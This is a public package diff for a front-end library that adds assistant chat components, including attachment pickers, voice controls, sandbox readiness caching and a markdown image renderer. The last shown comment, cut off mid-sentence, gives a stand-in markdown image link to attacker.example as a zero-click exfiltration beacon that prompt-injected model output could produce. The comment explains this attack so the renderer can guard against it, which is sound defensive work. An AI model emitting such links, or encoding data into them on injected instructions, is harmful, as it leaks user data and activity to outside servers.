@burdenoff/fe-libs 2026.904.7 → 2026.904.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (83) hide show
  1. package/dist/node_modules/react-markdown/lib/index.js +1 -1
  2. package/dist/shared/assistant/attachmentSources.d.ts +58 -0
  3. package/dist/shared/assistant/attachmentSources.d.ts.map +1 -0
  4. package/dist/shared/assistant/attachmentSources.js +41 -0
  5. package/dist/shared/assistant/clipboard.d.ts +12 -0
  6. package/dist/shared/assistant/clipboard.d.ts.map +1 -0
  7. package/dist/shared/assistant/clipboard.js +10 -0
  8. package/dist/shared/assistant/context.d.ts +22 -0
  9. package/dist/shared/assistant/context.d.ts.map +1 -0
  10. package/dist/shared/assistant/context.js +36 -0
  11. package/dist/shared/assistant/index.d.ts +26 -0
  12. package/dist/shared/assistant/index.d.ts.map +1 -1
  13. package/dist/shared/assistant/sandboxReadiness.d.ts +45 -0
  14. package/dist/shared/assistant/sandboxReadiness.d.ts.map +1 -0
  15. package/dist/shared/assistant/sandboxReadiness.js +22 -0
  16. package/dist/shared/assistant/ui/AssistantAutoSpeakToggle.d.ts +20 -0
  17. package/dist/shared/assistant/ui/AssistantAutoSpeakToggle.d.ts.map +1 -0
  18. package/dist/shared/assistant/ui/AssistantAutoSpeakToggle.js +25 -0
  19. package/dist/shared/assistant/ui/AssistantMarkdownImage.d.ts +38 -0
  20. package/dist/shared/assistant/ui/AssistantMarkdownImage.d.ts.map +1 -0
  21. package/dist/shared/assistant/ui/AssistantMarkdownImage.js +147 -0
  22. package/dist/shared/assistant/ui/AssistantMarkdownRenderer.d.ts +10 -0
  23. package/dist/shared/assistant/ui/AssistantMarkdownRenderer.d.ts.map +1 -0
  24. package/dist/shared/assistant/ui/AssistantMarkdownRenderer.js +198 -0
  25. package/dist/shared/assistant/ui/AssistantMessageAttachments.d.ts +10 -0
  26. package/dist/shared/assistant/ui/AssistantMessageAttachments.d.ts.map +1 -0
  27. package/dist/shared/assistant/ui/AssistantMessageAttachments.js +80 -0
  28. package/dist/shared/assistant/ui/AssistantPendingWriteCard.d.ts +32 -0
  29. package/dist/shared/assistant/ui/AssistantPendingWriteCard.d.ts.map +1 -0
  30. package/dist/shared/assistant/ui/AssistantPendingWriteCard.js +53 -0
  31. package/dist/shared/assistant/ui/AssistantReplyLanguageSelector.d.ts +22 -0
  32. package/dist/shared/assistant/ui/AssistantReplyLanguageSelector.d.ts.map +1 -0
  33. package/dist/shared/assistant/ui/AssistantReplyLanguageSelector.js +58 -0
  34. package/dist/shared/assistant/ui/AssistantSpeakButton.d.ts +33 -0
  35. package/dist/shared/assistant/ui/AssistantSpeakButton.d.ts.map +1 -0
  36. package/dist/shared/assistant/ui/AssistantSpeakButton.js +21 -0
  37. package/dist/shared/assistant/ui/AssistantSpokenTurnsNotice.d.ts +31 -0
  38. package/dist/shared/assistant/ui/AssistantSpokenTurnsNotice.d.ts.map +1 -0
  39. package/dist/shared/assistant/ui/AssistantSpokenTurnsNotice.js +31 -0
  40. package/dist/shared/assistant/ui/composer/AssistantAttachmentButton.d.ts +51 -0
  41. package/dist/shared/assistant/ui/composer/AssistantAttachmentButton.d.ts.map +1 -0
  42. package/dist/shared/assistant/ui/composer/AssistantAttachmentButton.js +86 -0
  43. package/dist/shared/assistant/ui/composer/AssistantAttachmentChips.d.ts +29 -0
  44. package/dist/shared/assistant/ui/composer/AssistantAttachmentChips.d.ts.map +1 -0
  45. package/dist/shared/assistant/ui/composer/AssistantAttachmentChips.js +70 -0
  46. package/dist/shared/assistant/ui/composer/AssistantLanguageSelector.d.ts +39 -0
  47. package/dist/shared/assistant/ui/composer/AssistantLanguageSelector.d.ts.map +1 -0
  48. package/dist/shared/assistant/ui/composer/AssistantLanguageSelector.js +42 -0
  49. package/dist/shared/assistant/ui/composer/AssistantModeSelector.d.ts +44 -0
  50. package/dist/shared/assistant/ui/composer/AssistantModeSelector.d.ts.map +1 -0
  51. package/dist/shared/assistant/ui/composer/AssistantModeSelector.js +81 -0
  52. package/dist/shared/assistant/ui/composer/AssistantVoiceButton.d.ts +20 -0
  53. package/dist/shared/assistant/ui/composer/AssistantVoiceButton.d.ts.map +1 -0
  54. package/dist/shared/assistant/ui/composer/AssistantVoiceButton.js +24 -0
  55. package/dist/shared/assistant/ui/composer/AssistantVoiceSelector.d.ts +25 -0
  56. package/dist/shared/assistant/ui/composer/AssistantVoiceSelector.d.ts.map +1 -0
  57. package/dist/shared/assistant/ui/composer/AssistantVoiceSelector.js +37 -0
  58. package/dist/shared/assistant/ui/voice/AssistantVoiceOrb.d.ts +33 -0
  59. package/dist/shared/assistant/ui/voice/AssistantVoiceOrb.d.ts.map +1 -0
  60. package/dist/shared/assistant/ui/voice/AssistantVoiceOrb.js +24 -0
  61. package/dist/shared/assistant/ui/voice/AssistantVoiceSessionButton.d.ts +23 -0
  62. package/dist/shared/assistant/ui/voice/AssistantVoiceSessionButton.d.ts.map +1 -0
  63. package/dist/shared/assistant/ui/voice/AssistantVoiceSessionButton.js +19 -0
  64. package/dist/shared/assistant/ui/voice/VoiceCaption.d.ts +59 -0
  65. package/dist/shared/assistant/ui/voice/VoiceCaption.d.ts.map +1 -0
  66. package/dist/shared/assistant/ui/voice/VoiceCaption.js +25 -0
  67. package/dist/shared/assistant/ui/voice/VoiceConversationView.d.ts +38 -0
  68. package/dist/shared/assistant/ui/voice/VoiceConversationView.d.ts.map +1 -0
  69. package/dist/shared/assistant/ui/voice/VoiceConversationView.js +45 -0
  70. package/dist/shared/assistant/ui/voice/VoiceMiniController.d.ts +32 -0
  71. package/dist/shared/assistant/ui/voice/VoiceMiniController.d.ts.map +1 -0
  72. package/dist/shared/assistant/ui/voice/VoiceMiniController.js +47 -0
  73. package/dist/shared/assistant/ui/voice/VoiceStage.d.ts +42 -0
  74. package/dist/shared/assistant/ui/voice/VoiceStage.d.ts.map +1 -0
  75. package/dist/shared/assistant/ui/voice/VoiceStage.js +58 -0
  76. package/dist/shared/assistant/ui/voice/VoiceTranscriptDrawer.d.ts +39 -0
  77. package/dist/shared/assistant/ui/voice/VoiceTranscriptDrawer.d.ts.map +1 -0
  78. package/dist/shared/assistant/ui/voice/VoiceTranscriptDrawer.js +61 -0
  79. package/dist/shared/assistant/ui/voice/VoiceWaveform.d.ts +33 -0
  80. package/dist/shared/assistant/ui/voice/VoiceWaveform.d.ts.map +1 -0
  81. package/dist/shared/assistant/ui/voice/VoiceWaveform.js +45 -0
  82. package/dist/shared-assistant.js +27 -1
  83. package/package.json +5 -1
@@ -137,4 +137,4 @@ function v(e) {
137
137
  return t === -1 || i !== -1 && t > i || n !== -1 && t > n || r !== -1 && t > r || f.test(e.slice(0, t)) ? e : "";
138
138
  }
139
139
  //#endregion
140
- export { m as Markdown };
140
+ export { m as Markdown, v as defaultUrlTransform };
@@ -0,0 +1,58 @@
1
+ /**
2
+ * Where an attachment can come from.
3
+ *
4
+ * `+` used to open the OS picker directly, which is one source pretending to be
5
+ * all of them: on a phone it lands in Files, so photographing a diseased leaf —
6
+ * the single most likely thing a farmer wants to show the assistant — took a
7
+ * detour through the camera app and back.
8
+ *
9
+ * ★ Every source's `accept` is DERIVED, never typed out. `ATTACHMENT_ACCEPT` is
10
+ * itself built from the classifier and extractor tables precisely so the picker
11
+ * cannot offer a file the model then admits it cannot read — a hand-written list
12
+ * once advertised .pdf a year before anything could open one. Narrowing a source
13
+ * therefore filters that derived list rather than restating it, so a new
14
+ * document format is offered here the moment the extractor learns it.
15
+ *
16
+ * ★ There is deliberately NO generic "all files" source, though the spec asks
17
+ * for one. It would restore exactly the failure the derived list was written to
18
+ * prevent. Every format the assistant can actually read is already reachable
19
+ * through Documents or Files here; anything else is a file it would have to
20
+ * refuse after the user had already chosen it.
21
+ */
22
+ export type AttachmentSourceId = "camera" | "gallery" | "documents" | "files";
23
+ export interface AttachmentSource {
24
+ id: AttachmentSourceId;
25
+ /** i18n key and the English fallback, resolved by the caller. */
26
+ labelKey: string;
27
+ labelFallback: string;
28
+ /** `accept` for this source's hidden input. */
29
+ accept: string;
30
+ /**
31
+ * Ask for the camera rather than the gallery. Honoured on mobile browsers,
32
+ * where the OS camera provides capture → preview → retake → use for free;
33
+ * ignored on desktop, which falls back to the file picker rather than
34
+ * breaking.
35
+ */
36
+ capture?: "environment" | "user";
37
+ /** Multi-select. A camera capture is one shot at a time. */
38
+ multiple: boolean;
39
+ /**
40
+ * Only offer where it can work. Camera and gallery are pointless on a desktop
41
+ * without one, and a control that does nothing is worse than an absent one.
42
+ */
43
+ mobileOnly?: boolean;
44
+ }
45
+ export declare const ATTACHMENT_SOURCES: readonly AttachmentSource[];
46
+ /**
47
+ * Can this device plausibly take a photo?
48
+ *
49
+ * Coarse on purpose. `mediaDevices` is the honest capability check but it needs
50
+ * a permission prompt to be sure, and asking for the camera to decide whether to
51
+ * DRAW a camera button is backwards. A pointer query separates phones and
52
+ * tablets from desktops well enough for a menu entry, and the worst case is a
53
+ * touchscreen laptop seeing one extra option that still opens a working picker.
54
+ */
55
+ export declare function deviceHasCamera(): boolean;
56
+ /** The sources worth showing on this device, in menu order. */
57
+ export declare function availableAttachmentSources(hasCamera: boolean): AttachmentSource[];
58
+ //# sourceMappingURL=attachmentSources.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"attachmentSources.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/attachmentSources.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AAIH,MAAM,MAAM,kBAAkB,GAAG,QAAQ,GAAG,SAAS,GAAG,WAAW,GAAG,OAAO,CAAC;AAE9E,MAAM,WAAW,gBAAgB;IAC/B,EAAE,EAAE,kBAAkB,CAAC;IACvB,iEAAiE;IACjE,QAAQ,EAAE,MAAM,CAAC;IACjB,aAAa,EAAE,MAAM,CAAC;IACtB,+CAA+C;IAC/C,MAAM,EAAE,MAAM,CAAC;IACf;;;;;OAKG;IACH,OAAO,CAAC,EAAE,aAAa,GAAG,MAAM,CAAC;IACjC,4DAA4D;IAC5D,QAAQ,EAAE,OAAO,CAAC;IAClB;;;OAGG;IACH,UAAU,CAAC,EAAE,OAAO,CAAC;CACtB;AAcD,eAAO,MAAM,kBAAkB,EAAE,SAAS,gBAAgB,EA+BhD,CAAC;AAEX;;;;;;;;GAQG;AACH,wBAAgB,eAAe,IAAI,OAAO,CAIzC;AAED,+DAA+D;AAC/D,wBAAgB,0BAA0B,CACxC,SAAS,EAAE,OAAO,GACjB,gBAAgB,EAAE,CAEpB"}
@@ -0,0 +1,41 @@
1
+ import { ATTACHMENT_ACCEPT as e } from "./attachments.js";
2
+ var t = [
3
+ {
4
+ id: "camera",
5
+ labelKey: "composer.sourceCamera",
6
+ labelFallback: "Camera",
7
+ accept: "image/*",
8
+ capture: "environment",
9
+ multiple: !1,
10
+ mobileOnly: !0
11
+ },
12
+ {
13
+ id: "gallery",
14
+ labelKey: "composer.sourceGallery",
15
+ labelFallback: "Photos",
16
+ accept: "image/*",
17
+ multiple: !0
18
+ },
19
+ {
20
+ id: "documents",
21
+ labelKey: "composer.sourceDocuments",
22
+ labelFallback: "Documents",
23
+ accept: e.split(",").filter((e) => !e.startsWith("image/")).join(","),
24
+ multiple: !0
25
+ },
26
+ {
27
+ id: "files",
28
+ labelKey: "composer.sourceFiles",
29
+ labelFallback: "Files",
30
+ accept: e,
31
+ multiple: !0
32
+ }
33
+ ];
34
+ function n() {
35
+ return typeof window > "u" || typeof window.matchMedia != "function" ? !1 : window.matchMedia("(pointer: coarse)").matches;
36
+ }
37
+ function r(e) {
38
+ return t.filter((t) => !t.mobileOnly || e);
39
+ }
40
+ //#endregion
41
+ export { t as ATTACHMENT_SOURCES, r as availableAttachmentSources, n as deviceHasCamera };
@@ -0,0 +1,12 @@
1
+ /**
2
+ * Copy text to the clipboard, reporting whether it actually happened.
3
+ *
4
+ * `navigator.clipboard` is undefined outside a secure context (plain http on a
5
+ * LAN address — how an on-farm tablet often reaches an internal host), and
6
+ * `writeText` can also reject when the document is not focused or permission is
7
+ * denied. Fire-and-forgetting it means the UI claims "Copied" while the
8
+ * clipboard still holds whatever was there before, which is worse than no
9
+ * feedback: the user pastes stale content and does not know why.
10
+ */
11
+ export declare function copyToClipboard(text: string): Promise<boolean>;
12
+ //# sourceMappingURL=clipboard.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"clipboard.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/clipboard.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AACH,wBAAsB,eAAe,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC,CAQpE"}
@@ -0,0 +1,10 @@
1
+ //#region src/shared/assistant/clipboard.ts
2
+ async function e(e) {
3
+ try {
4
+ return navigator.clipboard?.writeText ? (await navigator.clipboard.writeText(e), !0) : !1;
5
+ } catch {
6
+ return !1;
7
+ }
8
+ }
9
+ //#endregion
10
+ export { e as copyToClipboard };
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Active workspace / organization resolution for the assistant.
3
+ *
4
+ * Extracted from AssistantChatArea so the composer's attachment uploads resolve
5
+ * the SAME workspace the turn is sent to — a second, subtly different copy of
6
+ * this lookup is exactly how files end up in the wrong tenant.
7
+ */
8
+ export declare function getWorkspaceId(): string;
9
+ export declare function getOrganizationId(): string;
10
+ /**
11
+ * The current user's actor id, read from the access token's `sub` claim.
12
+ *
13
+ * ★ Verified against prod: `sub` is the profile id the RBAC service expects as
14
+ * `actorId`. There is no other source in this app — HealthyBowl has never
15
+ * needed an actor id before, because every authz decision it makes is taken
16
+ * server-side from the token itself.
17
+ *
18
+ * Returns null rather than throwing on anything unexpected: the one caller
19
+ * treats null as "cannot tell", which is deliberately not "denied".
20
+ */
21
+ export declare function getActorId(): string | null;
22
+ //# sourceMappingURL=context.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"context.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/context.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAmCH,wBAAgB,cAAc,IAAI,MAAM,CAGvC;AAED,wBAAgB,iBAAiB,IAAI,MAAM,CAG1C;AAED;;;;;;;;;;GAUG;AACH,wBAAgB,UAAU,IAAI,MAAM,GAAG,IAAI,CAqB1C"}
@@ -0,0 +1,36 @@
1
+ //#region src/shared/assistant/context.ts
2
+ function e(e) {
3
+ try {
4
+ let t = e === "workspaceId" ? "burdenoff-active-context-workspace" : "burdenoff-active-context-organization", n = sessionStorage.getItem(t);
5
+ if (n) return n;
6
+ let r = localStorage.getItem(t);
7
+ if (r) return r;
8
+ let i = sessionStorage.getItem("bf-active-profile");
9
+ if (!i) return "";
10
+ let a = localStorage.getItem(`bf-p-${i}-context`);
11
+ return a ? JSON.parse(a)[e] ?? "" : "";
12
+ } catch {
13
+ return "";
14
+ }
15
+ }
16
+ function t() {
17
+ return new URLSearchParams(window.location.search).get("workspace") ?? e("workspaceId");
18
+ }
19
+ function n() {
20
+ return new URLSearchParams(window.location.search).get("org") ?? e("organizationId");
21
+ }
22
+ function r() {
23
+ if (typeof window > "u") return null;
24
+ try {
25
+ let e = window.sessionStorage.getItem("bf-active-profile");
26
+ if (!e) return null;
27
+ let t = window.sessionStorage.getItem(`bf-p-${e}-tokens`) ?? window.localStorage.getItem(`bf-p-${e}-tokens`);
28
+ if (!t) return null;
29
+ let n = JSON.parse(t).accessToken?.split(".")[1];
30
+ return n ? JSON.parse(atob(n.replace(/-/g, "+").replace(/_/g, "/"))).sub ?? null : null;
31
+ } catch {
32
+ return null;
33
+ }
34
+ }
35
+ //#endregion
36
+ export { r as getActorId, n as getOrganizationId, t as getWorkspaceId };
@@ -72,4 +72,30 @@ export * from './documentText';
72
72
  export * from './ui/AssistantToolActivity';
73
73
  export * from './ui/AssistantSpeechProvider';
74
74
  export * from './ui/useVoiceSession';
75
+ export * from './clipboard';
76
+ export * from './context';
77
+ export * from './attachmentSources';
78
+ export * from './sandboxReadiness';
79
+ export * from './ui/AssistantAutoSpeakToggle';
80
+ export * from './ui/AssistantMarkdownImage';
81
+ export * from './ui/AssistantMarkdownRenderer';
82
+ export * from './ui/AssistantMessageAttachments';
83
+ export * from './ui/AssistantPendingWriteCard';
84
+ export * from './ui/AssistantReplyLanguageSelector';
85
+ export * from './ui/AssistantSpeakButton';
86
+ export * from './ui/AssistantSpokenTurnsNotice';
87
+ export * from './ui/composer/AssistantAttachmentButton';
88
+ export * from './ui/composer/AssistantAttachmentChips';
89
+ export * from './ui/composer/AssistantLanguageSelector';
90
+ export * from './ui/composer/AssistantModeSelector';
91
+ export * from './ui/composer/AssistantVoiceButton';
92
+ export * from './ui/composer/AssistantVoiceSelector';
93
+ export * from './ui/voice/AssistantVoiceOrb';
94
+ export * from './ui/voice/AssistantVoiceSessionButton';
95
+ export * from './ui/voice/VoiceCaption';
96
+ export * from './ui/voice/VoiceConversationView';
97
+ export * from './ui/voice/VoiceMiniController';
98
+ export * from './ui/voice/VoiceStage';
99
+ export * from './ui/voice/VoiceTranscriptDrawer';
100
+ export * from './ui/voice/VoiceWaveform';
75
101
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8BG;AAGH,cAAc,gCAAgC,CAAC;AAC/C,cAAc,mCAAmC,CAAC;AAClD,cAAc,WAAW,CAAC;AAC1B,cAAc,iBAAiB,CAAC;AAChC,cAAc,YAAY,CAAC;AAC3B,cAAc,OAAO,CAAC;AACtB,cAAc,SAAS,CAAC;AAGxB,cAAc,wBAAwB,CAAC;AAKvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,6BAA6B,CAAC;AAC5C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,+BAA+B,CAAC;AAG9C,cAAc,uBAAuB,CAAC;AACtC,cAAc,yBAAyB,CAAC;AACxC,cAAc,sBAAsB,CAAC;AACrC,cAAc,sBAAsB,CAAC;AACrC,cAAc,yBAAyB,CAAC;AACxC,cAAc,uBAAuB,CAAC;AACtC,cAAc,sBAAsB,CAAC;AACrC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,qBAAqB,CAAC;AACpC,cAAc,sBAAsB,CAAC;AACrC,cAAc,mBAAmB,CAAC;AAGlC,cAAc,gBAAgB,CAAC;AAK/B,cAAc,UAAU,CAAC;AACzB,cAAc,cAAc,CAAC;AAC7B,cAAc,gBAAgB,CAAC;AAC/B,cAAc,4BAA4B,CAAC;AAG3C,cAAc,QAAQ,CAAC;AAEvB,cAAc,sBAAsB,CAAC;AACrC,cAAc,uBAAuB,CAAC;AACtC,cAAc,wBAAwB,CAAC;AAGvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,eAAe,CAAC;AAC9B,cAAc,SAAS,CAAC;AACxB,cAAc,aAAa,CAAC;AAC5B,cAAc,iBAAiB,CAAC;AAChC,cAAc,gBAAgB,CAAC;AAG/B,cAAc,4BAA4B,CAAC;AAC3C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,sBAAsB,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8BG;AAGH,cAAc,gCAAgC,CAAC;AAC/C,cAAc,mCAAmC,CAAC;AAClD,cAAc,WAAW,CAAC;AAC1B,cAAc,iBAAiB,CAAC;AAChC,cAAc,YAAY,CAAC;AAC3B,cAAc,OAAO,CAAC;AACtB,cAAc,SAAS,CAAC;AAGxB,cAAc,wBAAwB,CAAC;AAKvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,6BAA6B,CAAC;AAC5C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,+BAA+B,CAAC;AAG9C,cAAc,uBAAuB,CAAC;AACtC,cAAc,yBAAyB,CAAC;AACxC,cAAc,sBAAsB,CAAC;AACrC,cAAc,sBAAsB,CAAC;AACrC,cAAc,yBAAyB,CAAC;AACxC,cAAc,uBAAuB,CAAC;AACtC,cAAc,sBAAsB,CAAC;AACrC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,qBAAqB,CAAC;AACpC,cAAc,sBAAsB,CAAC;AACrC,cAAc,mBAAmB,CAAC;AAGlC,cAAc,gBAAgB,CAAC;AAK/B,cAAc,UAAU,CAAC;AACzB,cAAc,cAAc,CAAC;AAC7B,cAAc,gBAAgB,CAAC;AAC/B,cAAc,4BAA4B,CAAC;AAG3C,cAAc,QAAQ,CAAC;AAEvB,cAAc,sBAAsB,CAAC;AACrC,cAAc,uBAAuB,CAAC;AACtC,cAAc,wBAAwB,CAAC;AAGvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,eAAe,CAAC;AAC9B,cAAc,SAAS,CAAC;AACxB,cAAc,aAAa,CAAC;AAC5B,cAAc,iBAAiB,CAAC;AAChC,cAAc,gBAAgB,CAAC;AAG/B,cAAc,4BAA4B,CAAC;AAC3C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,sBAAsB,CAAC;AAGrC,cAAc,aAAa,CAAC;AAC5B,cAAc,WAAW,CAAC;AAC1B,cAAc,qBAAqB,CAAC;AACpC,cAAc,oBAAoB,CAAC;AACnC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,6BAA6B,CAAC;AAC5C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,kCAAkC,CAAC;AACjD,cAAc,gCAAgC,CAAC;AAC/C,cAAc,qCAAqC,CAAC;AACpD,cAAc,2BAA2B,CAAC;AAC1C,cAAc,iCAAiC,CAAC;AAChD,cAAc,yCAAyC,CAAC;AACxD,cAAc,wCAAwC,CAAC;AACvD,cAAc,yCAAyC,CAAC;AACxD,cAAc,qCAAqC,CAAC;AACpD,cAAc,oCAAoC,CAAC;AACnD,cAAc,sCAAsC,CAAC;AACrD,cAAc,8BAA8B,CAAC;AAC7C,cAAc,wCAAwC,CAAC;AACvD,cAAc,yBAAyB,CAAC;AACxC,cAAc,kCAAkC,CAAC;AACjD,cAAc,gCAAgC,CAAC;AAC/C,cAAc,uBAAuB,CAAC;AACtC,cAAc,kCAAkC,CAAC;AACjD,cAAc,0BAA0B,CAAC"}
@@ -0,0 +1,45 @@
1
+ /**
2
+ * Was this sandbox proven reachable recently enough to skip re-proving it?
3
+ *
4
+ * Every turn re-ran two network waits before the model saw the prompt — a
5
+ * `WaitForSandboxRunning` long-poll and a `/health` GET through the cf-proxy —
6
+ * even when the previous turn had finished seconds earlier. That is a constant
7
+ * tax on the hot path, paid most visibly in voice, where it sits between the
8
+ * user finishing a sentence and hearing anything at all.
9
+ *
10
+ * The probe is not pointless: a sandbox can expire on its TTL or have its pod
11
+ * reclaimed while still briefly reporting RUNNING, and proxying to a dead pod
12
+ * fails in ways that are worse to surface than a re-provision. So this does not
13
+ * remove the check — it stops repeating a check that just passed.
14
+ *
15
+ * ★ The TTL is deliberately far shorter than the sandbox's own lifetime. Each
16
+ * turn extends the sandbox by 600s, so a 60s readiness window can never outlive
17
+ * the thing it describes; the worst case is that a sandbox dies inside the
18
+ * window and one turn fails, which is exactly what happens today when it dies
19
+ * mid-turn — and the caller already handles that by dropping it and
20
+ * provisioning a fresh one.
21
+ *
22
+ * Correctness rests on the caller invalidating on failure. A cache that only
23
+ * ever gets written on success, and never cleared, would pin a dead sandbox and
24
+ * turn a recoverable error into a loop.
25
+ */
26
+ /** How long a successful reachability proof stays good for. */
27
+ export declare const SANDBOX_READY_TTL_MS = 60000;
28
+ /**
29
+ * `now` is injected rather than read so the rule is testable and a clock skew
30
+ * cannot make a passing check fail mysteriously.
31
+ */
32
+ export declare function isRecentlyVerified(lastVerifiedAt: number | null | undefined, now: number, ttlMs?: number): boolean;
33
+ export declare function createReadinessTracker(clock?: () => number): {
34
+ /** True when this sandbox was proven reachable inside the TTL. */
35
+ isFresh(sandboxId: string): boolean;
36
+ /** Record a successful proof. */
37
+ markVerified(sandboxId: string): void;
38
+ /**
39
+ * Drop a proof. MUST be called whenever a turn fails against this sandbox,
40
+ * so a dead one is re-probed rather than trusted until the TTL lapses.
41
+ */
42
+ invalidate(sandboxId: string | null | undefined): void;
43
+ };
44
+ export type ReadinessTracker = ReturnType<typeof createReadinessTracker>;
45
+ //# sourceMappingURL=sandboxReadiness.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sandboxReadiness.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/sandboxReadiness.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AAEH,+DAA+D;AAC/D,eAAO,MAAM,oBAAoB,QAAS,CAAC;AAE3C;;;GAGG;AACH,wBAAgB,kBAAkB,CAChC,cAAc,EAAE,MAAM,GAAG,IAAI,GAAG,SAAS,EACzC,GAAG,EAAE,MAAM,EACX,KAAK,GAAE,MAA6B,GACnC,OAAO,CAKT;AAWD,wBAAgB,sBAAsB,CAAC,KAAK,GAAE,MAAM,MAAiB;IAIjE,kEAAkE;uBAC/C,MAAM,GAAG,OAAO;IAGnC,iCAAiC;4BACT,MAAM,GAAG,IAAI;IAKrC;;;OAGG;0BACmB,MAAM,GAAG,IAAI,GAAG,SAAS,GAAG,IAAI;EAIzD;AAED,MAAM,MAAM,gBAAgB,GAAG,UAAU,CAAC,OAAO,sBAAsB,CAAC,CAAC"}
@@ -0,0 +1,22 @@
1
+ //#region src/shared/assistant/sandboxReadiness.ts
2
+ var e = 6e4;
3
+ function t(t, n, r = e) {
4
+ return t == null || t > n ? !1 : n - t < r;
5
+ }
6
+ var n = 32;
7
+ function r(e = Date.now) {
8
+ let r = /* @__PURE__ */ new Map();
9
+ return {
10
+ isFresh(n) {
11
+ return t(r.get(n), e());
12
+ },
13
+ markVerified(t) {
14
+ r.size >= n && !r.has(t) && r.clear(), r.set(t, e());
15
+ },
16
+ invalidate(e) {
17
+ e && r.delete(e);
18
+ }
19
+ };
20
+ }
21
+ //#endregion
22
+ export { e as SANDBOX_READY_TTL_MS, r as createReadinessTracker, t as isRecentlyVerified };
@@ -0,0 +1,20 @@
1
+ import { FC } from 'react';
2
+ /**
3
+ * Header toggle for "read every reply aloud" (BOFF-6290).
4
+ *
5
+ * Opt-in, persisted per profile, and **off by default** — the assistant must
6
+ * never start talking on its own until someone has said they want that. Turning
7
+ * it on affects the NEXT reply only; it does not start reading the transcript.
8
+ *
9
+ * Renders nothing when the platform has no speech output, so browsers without
10
+ * `speechSynthesis` see no dead switch.
11
+ *
12
+ * Availability is checked here for the same reason the per-message button
13
+ * checks it: with no installed voice for the app language, switching this on
14
+ * would hand every reply to whatever voice the engine defaults to — a Tamil
15
+ * answer read in English. So it is disabled, with the reason as its tooltip,
16
+ * exactly like the Listen button. It stays operable while it is ON, because a
17
+ * switch you cannot turn off is worse than one you cannot turn on.
18
+ */
19
+ export declare const AssistantAutoSpeakToggle: FC;
20
+ //# sourceMappingURL=AssistantAutoSpeakToggle.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"AssistantAutoSpeakToggle.d.ts","sourceRoot":"","sources":["../../../../src/shared/assistant/ui/AssistantAutoSpeakToggle.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,EAAE,EAAE,MAAM,OAAO,CAAC;AAKhC;;;;;;;;;;;;;;;;GAgBG;AACH,eAAO,MAAM,wBAAwB,EAAE,EA4CtC,CAAC"}
@@ -0,0 +1,25 @@
1
+ import { useAssistantTr as e } from "../i18n.js";
2
+ import { useAssistantSpeech as t } from "./AssistantSpeechProvider.js";
3
+ import { Volume2 as n, VolumeX as r } from "lucide-react";
4
+ import { jsx as i } from "react/jsx-runtime";
5
+ //#region src/shared/assistant/ui/AssistantAutoSpeakToggle.tsx
6
+ var a = () => {
7
+ let a = e(), { isSupported: o, isBlocked: s, disabledReason: c, autoSpeakEnabled: l, setAutoSpeak: u, stop: d } = t();
8
+ if (!o) return null;
9
+ let f = s && !l, p = l ? a("header.autoSpeakOff", "Stop reading replies aloud") : a("header.autoSpeakOn", "Read replies aloud automatically");
10
+ return /* @__PURE__ */ i("button", {
11
+ type: "button",
12
+ onClick: () => {
13
+ l && d(), u(!l);
14
+ },
15
+ disabled: f,
16
+ className: `rounded-lg p-1.5 transition-colors disabled:cursor-not-allowed disabled:opacity-50 disabled:hover:bg-transparent ${l ? "bg-action-primary-bg/15 text-action-primary-bg" : "text-text-secondary hover:bg-bg-sunken hover:text-text-primary"}`,
17
+ title: f ? c ?? p : p,
18
+ "aria-label": p,
19
+ "aria-pressed": l,
20
+ "data-testid": "assistant-auto-speak",
21
+ children: i(l ? n : r, { className: "size-4" })
22
+ });
23
+ };
24
+ //#endregion
25
+ export { a as AssistantAutoSpeakToggle };
@@ -0,0 +1,38 @@
1
+ import { FC } from 'react';
2
+ /**
3
+ * Would rendering this `src` immediately hit a server we do not control?
4
+ *
5
+ * An `<img>` is a GET the browser performs the moment it paints, and the markup
6
+ * here is written by a model that has read tool output, fetched web pages and
7
+ * user-uploaded files. So `![](https://attacker.example/p?d=<whatever the model
8
+ * was talked into encoding>)` is a working exfiltration beacon that also
9
+ * discloses that a HealthyBowl user opened the reply, when, and from which IP —
10
+ * with no click required. `referrerPolicy` does not help: the payload is the URL
11
+ * itself, not the Referer header.
12
+ *
13
